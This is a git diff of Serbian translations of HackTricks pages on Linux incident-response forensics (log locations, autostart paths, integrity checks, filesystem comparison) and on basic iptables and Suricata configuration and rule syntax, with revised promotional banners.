* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -32,7 +32,7 @@ Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotek
|
|||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **izvlačenjem nekih osnovnih informacija**:
|
||||
Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **ekstrakcijom nekih osnovnih informacija**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -85,8 +85,8 @@ LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se
|
|||
|
||||
#### Isključivanje
|
||||
|
||||
Prvo, potrebno je da **isključite sistem**. Ovo nije uvek opcija, jer ponekad sistem može biti produkcijski server koji kompanija ne može priuštiti da isključi.\
|
||||
Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključivanje iz struje"**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključivanja iz struje" može doneti **neke gubitke informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite iz struje.
|
||||
Prvo, potrebno je **isključiti sistem**. Ovo nije uvek opcija, jer ponekad sistem može biti produkcijski server koji kompanija ne može priuštiti da isključi.\
|
||||
Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključi iz struje" isključivanje**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključi iz struje" može doneti **neki gubitak informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite iz struje.
|
||||
|
||||
#### Uzimanje slike diska
|
||||
|
||||
|
@ -169,7 +169,7 @@ Pribavite pristup danas:
|
|||
Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih datoteka.
|
||||
|
||||
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
|
||||
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
|
||||
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
|
||||
|
||||
### Detektori Malware-a/Rootkit-a
|
||||
|
||||
|
@ -236,39 +236,39 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Usluge
|
||||
|
||||
Putanje gde se malver može instalirati kao usluga:
|
||||
Putanje gde se zlonamerni softver može instalirati kao usluga:
|
||||
|
||||
* **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
|
||||
* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
|
||||
* **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
|
||||
* Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
|
||||
* Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linux-a.
|
||||
* **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka uslugama koje treba pokrenuti u višekorisničkom režimu.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove do usluga koje treba pokrenuti u višekorisničkom režimu.
|
||||
* **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
|
||||
* **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za malver usmeren na korisnike.
|
||||
* **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
|
||||
* **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za zlonamerni softver usmeren na korisnike.
|
||||
* **/lib/systemd/system/**: Podrazumevani fajlovi jedinica na sistemskom nivou koje obezbeđuju instalirani paketi.
|
||||
|
||||
### Kernel Moduli
|
||||
### Kernel moduli
|
||||
|
||||
Linux kernel moduli, često korišćeni od strane malvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponenti rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi kritični za ove module uključuju:
|
||||
|
||||
* **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
|
||||
* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
|
||||
* **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalne postavke modula.
|
||||
|
||||
### Druge Lokacije za Automatsko Pokretanje
|
||||
### Druge lokacije za automatsko pokretanje
|
||||
|
||||
Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući malver:
|
||||
Linux koristi razne fajlove za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući zlonamerni softver:
|
||||
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koje prijavljivanje korisnika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave.
|
||||
* **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
|
||||
|
||||
## Istraži Logove
|
||||
## Istraži logove
|
||||
|
||||
Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
|
||||
Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log fajlove. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih bezbednosnih incidenata. Ključni log fajlovi uključuju:
|
||||
|
||||
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
|
||||
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti na sistemskom nivou.
|
||||
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
|
||||
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
|
@ -285,7 +285,7 @@ Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log dato
|
|||
* **/var/log/**: Uvek proverite neočekivane logove ovde.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa malverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa zlonamernim softverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log fajlova, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
{% endhint %}
|
||||
|
||||
**Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
|
||||
|
@ -298,7 +298,7 @@ Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani t
|
|||
|
||||
Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
|
||||
|
||||
Proverite datoteke koje mogu dodeliti dodatne privilegije:
|
||||
Proverite fajlove koji mogu dodeliti dodatne privilegije:
|
||||
|
||||
* Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
|
||||
* Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
|
||||
|
@ -308,18 +308,18 @@ Proverite datoteke koje mogu dodeliti dodatne privilegije:
|
|||
Neke aplikacije takođe generišu svoje logove:
|
||||
|
||||
* **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
|
||||
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija.
|
||||
* **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su pristupane putanje datoteka i istorija pretrage.
|
||||
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
|
||||
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su putanje pristupnih fajlova i istorija pretrage.
|
||||
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
|
||||
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlašćene aktivnosti u bazi podataka.
|
||||
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
|
||||
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||
* **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||
|
||||
### USB Logovi
|
||||
### USB logovi
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije događaja USB-a.
|
||||
|
||||
Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate ovlašćenu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
|
||||
|
@ -356,7 +356,7 @@ Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama
|
|||
|
||||
### Analiza struktura fajl sistema u istrazi malvera
|
||||
|
||||
Kada istražujete incidente sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka fajlova ili izbegavanje fajl sistema za skladištenje podataka.
|
||||
Kada istražujete incidente sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako redosled događaja tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka fajlova ili izbegavanje fajl sistema za skladištenje podataka.
|
||||
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
|
||||
|
||||
|
@ -365,7 +365,7 @@ Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
|
|||
* **Istražiti `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati i fajlove povezane sa malverom.
|
||||
* **Pretražiti skrivene fajlove ili direktorijume** sa imenima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji mogu skrivati zlonamerni sadržaj.
|
||||
* **Identifikovati setuid root fajlove** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim privilegijama, koje napadači mogu zloupotrebiti.
|
||||
* **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja fajlova, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
|
||||
* **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojana.
|
||||
* **Inspektovati uzastopne inode** za obližnje zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
|
||||
* **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi mogli biti izmenjeni od strane malvera.
|
||||
````bash
|
||||
|
@ -379,25 +379,25 @@ ls -lai /bin | sort -n```
|
|||
Napomena da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, tada su **vremenske oznake te datoteke modifikovane**.
|
||||
{% endhint %}
|
||||
|
||||
## Uporedite datoteke različitih verzija datotečnog sistema
|
||||
## Upoređivanje datoteka različitih verzija datotečnog sistema
|
||||
|
||||
### Sažetak uporedbe verzija datotečnog sistema
|
||||
### Sažetak upoređivanja verzija datotečnog sistema
|
||||
|
||||
Da bismo uporedili verzije datotečnog sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
|
||||
Da bismo uporedili verzije datotečnog sistema i precizirali promene, koristimo pojednostavljene `git diff` komande:
|
||||
|
||||
* **Da pronađete nove datoteke**, uporedite dve fascikle:
|
||||
* **Da bismo pronašli nove datoteke**, uporedite dve fascikle:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Za izmenjen sadržaj**, navedite promene zanemarujući specifične linije:
|
||||
* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
* **Da otkrijete obrisane fajlove**:
|
||||
* **Da biste otkrili obrisane datoteke**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
|
||||
* **Opcije filtriranja** (`--diff-filter`) pomažu u sužavanju na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
|
||||
* `A`: Dodati fajlovi
|
||||
* `C`: Kopirani fajlovi
|
||||
* `D`: Obrisani fajlovi
|
||||
|
@ -415,24 +415,25 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Suricata & Iptables šifarnik
|
||||
# Suricata & Iptables cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iptables
|
||||
|
||||
### Lančevi
|
||||
### Lanci
|
||||
|
||||
U iptables-u, liste pravila poznate kao lančevi se obrađuju sekvenčno. Među njima, tri osnovna lanca su univerzalno prisutna, sa dodatnim kao što je NAT koji može biti podržan u zavisnosti od mogućnosti sistema.
|
||||
U iptables-u, liste pravila poznate kao lanci se obrađuju sekvencijalno. Među njima, tri osnovna lanca su univerzalno prisutna, dok dodatni kao što je NAT mogu biti podržani u zavisnosti od mogućnosti sistema.
|
||||
|
||||
- **Input lanac**: Koristi se za upravljanje ponašanjem dolaznih veza.
|
||||
- **Forward lanac**: Koristi se za upravljanje dolaznim vezama koje nisu namenjene lokalnom sistemu. Ovo je tipično za uređaje koji deluju kao ruteri, gde primljeni podaci treba da budu prosleđeni drugoj destinaciji. Ovaj lanac je relevantan pre svega kada sistem učestvuje u rutiranju, NAT-ovanju ili sličnim aktivnostima.
|
||||
- **Output lanac**: Posvećen regulisanju odlaznih veza.
|
||||
- **Input Chain**: Koristi se za upravljanje ponašanjem dolaznih konekcija.
|
||||
- **Forward Chain**: Koristi se za rukovanje dolaznim konekcijama koje nisu namenjene lokalnom sistemu. Ovo je tipično za uređaje koji deluju kao ruteri, gde su podaci koji se primaju namenjeni za prosleđivanje na drugu destinaciju. Ovaj lanac je relevantan prvenstveno kada je sistem uključen u rutiranje, NAT-ovanje ili slične aktivnosti.
|
||||
- **Output Chain**: Posvećen regulaciji odlaznih konekcija.
|
||||
|
||||
Ovi lanci omogućavaju uređeno procesiranje mrežnog saobraćaja, omogućavajući specificiranje detaljnih pravila koja regulišu protok podataka u, kroz i iz sistema.
|
||||
Ovi lanci osiguravaju urednu obradu mrežnog saobraćaja, omogućavajući precizno definisanje detaljnih pravila koja upravljaju protokom podataka u, kroz i iz sistema.
|
||||
```bash
|
||||
# Delete all rules
|
||||
iptables -F
|
||||
|
@ -61,39 +64,7 @@ iptables-restore < /etc/sysconfig/iptables
|
|||
```
|
||||
## Suricata
|
||||
|
||||
### Instalacija & Konfiguracija
|
||||
|
||||
```bash
|
||||
# Instalacija Suricate
|
||||
sudo apt-get install suricata
|
||||
|
||||
# Konfiguracija Suricate
|
||||
sudo nano /etc/suricata/suricata.yaml
|
||||
|
||||
# Podešavanje interfejsa za nadgledanje
|
||||
sudo nano /etc/suricata/suricata.yaml
|
||||
|
||||
# Podešavanje pravila za detekciju
|
||||
sudo nano /etc/suricata/suricata.yaml
|
||||
|
||||
# Pokretanje Suricate
|
||||
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
|
||||
```
|
||||
|
||||
## Iptables
|
||||
|
||||
### Instalacija & Konfiguracija
|
||||
|
||||
```bash
|
||||
# Instalacija Iptables
|
||||
sudo apt-get install iptables
|
||||
|
||||
# Konfiguracija Iptables
|
||||
sudo iptables -A INPUT -j NFQUEUE --queue-num 0
|
||||
|
||||
# Pokretanje Iptables
|
||||
sudo iptables -I INPUT -j NFQUEUE --queue-num 0
|
||||
```
|
||||
### Instalacija i Konfiguracija
|
||||
```bash
|
||||
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
|
||||
# Ubuntu
|
||||
|
@ -159,70 +130,70 @@ Type=simple
|
|||
|
||||
systemctl daemon-reload
|
||||
```
|
||||
### Definicije pravila
|
||||
### Pravila Definicije
|
||||
|
||||
[Iz dokumentacije:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Pravilo/potpis se sastoji od sledećeg:
|
||||
[Iz dokumenata:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Pravilo/potpis se sastoji od sledećeg:
|
||||
|
||||
* **Akcija** određuje šta se dešava kada se pravilo poklapa.
|
||||
* **Zaglavlje** definiše protokol, IP adrese, portove i smer pravila.
|
||||
* **Opcije pravila** definišu specifičnosti pravila.
|
||||
* **akcija**, određuje šta se dešava kada se potpis poklapa.
|
||||
* **zaglavlje**, definiše protokol, IP adrese, portove i pravac pravila.
|
||||
* **opcije pravila**, definišu specifičnosti pravila.
|
||||
```bash
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
|
||||
```
|
||||
#### **Validne akcije su**
|
||||
#### **Važeće akcije su**
|
||||
|
||||
* alert - generiše upozorenje
|
||||
* pass - zaustavlja dalju inspekciju paketa
|
||||
* **drop** - odbacuje paket i generiše upozorenje
|
||||
* **reject** - šalje RST/ICMP nedostupnu grešku pošiljaocu odgovarajućeg paketa.
|
||||
* rejectsrc - isto kao i _reject_
|
||||
* rejectdst - šalje RST/ICMP grešku paketa primaocu odgovarajućeg paketa.
|
||||
* rejectboth - šalje RST/ICMP greške paketima na obe strane razgovora.
|
||||
* alert - generiši upozorenje
|
||||
* pass - zaustavi dalju inspekciju paketa
|
||||
* **drop** - odbaci paket i generiši upozorenje
|
||||
* **reject** - pošalji RST/ICMP grešku nedostupnosti pošiljaocu odgovarajućeg paketa.
|
||||
* rejectsrc - isto kao _reject_
|
||||
* rejectdst - pošalji RST/ICMP grešku paketu primaocu odgovarajućeg paketa.
|
||||
* rejectboth - pošalji RST/ICMP greške paketima obe strane razgovora.
|
||||
|
||||
#### **Protokoli**
|
||||
|
||||
* tcp (za tcp-saobraćaj)
|
||||
* udp
|
||||
* icmp
|
||||
* ip (ip označava 'sve' ili 'bilo koji')
|
||||
* _layer7 protokoli_: http, ftp, tls, smb, dns, ssh... (više u [**dokumentaciji**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
* ip (ip označava ‘sve’ ili ‘bilo koje’)
|
||||
* _layer7 protokoli_: http, ftp, tls, smb, dns, ssh... (više u [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
|
||||
#### Izvorišne i odredišne adrese
|
||||
#### Izvori i odredišne adrese
|
||||
|
||||
Podržava opsege IP adresa, negacije i listu adresa:
|
||||
Podržava IP opsege, negacije i listu adresa:
|
||||
|
||||
| Primer | Značenje |
|
||||
| ------------------------------ | ---------------------------------------- |
|
||||
